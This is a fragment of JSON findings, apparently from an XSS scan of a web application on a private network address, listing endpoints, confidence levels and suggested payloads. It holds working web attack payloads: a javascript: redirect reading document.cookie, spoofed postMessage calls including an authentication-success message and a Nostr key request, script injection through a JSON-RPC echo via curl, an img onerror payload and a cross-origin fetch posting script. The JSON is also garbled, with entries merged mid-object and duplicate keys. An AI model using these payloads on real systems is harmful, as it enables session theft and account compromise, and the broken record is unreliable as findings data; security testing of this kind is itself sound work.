"type": "dom_based_xss_javascript_uri_redirect",
"endpoint": "/login",
"parameter": "redirect (query)",
"confidence": "medium",
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
},
{
"id": "XSS-003",
"type": "dom_xss_postmessage",
"endpoint": "Settings.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
"type": "dom_based_cross_origin_message_injection",
"endpoint": "postMessage handler (NIP-07)",
"parameter": "event.data (nostr-request)",
"confidence": "high",
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
},
{
"id": "XSS-004",
"type": "missing_csp_headers",
"endpoint": "All responses (nginx)",
"parameter": "Content-Security-Policy, X-Frame-Options",
"type": "weak_csp_unsafe_inline",
"endpoint": "all pages (nginx)",
"parameter": "n/a",
"confidence": "high",
"payload_suggestion": "No CSP set — any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
},
{
"id": "XSS-005",
"type": "reflected_xss_json",
"endpoint": "/rpc/v1 (method: echo)",
"parameter": "params.message",
"confidence": "low",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
},
{
"id": "XSS-006",
"type": "dom_xss_postmessage",
"endpoint": "/test-aiui.html",
"parameter": "postMessage event.data",
"confidence": "low",
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
},
{
"id": "XSS-007",
"type": "cors_wildcard_xss_enabler",
"endpoint": "All backend endpoints",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
"payload_suggestion": "n/a - amplification factor, not direct XSS"
}
]
}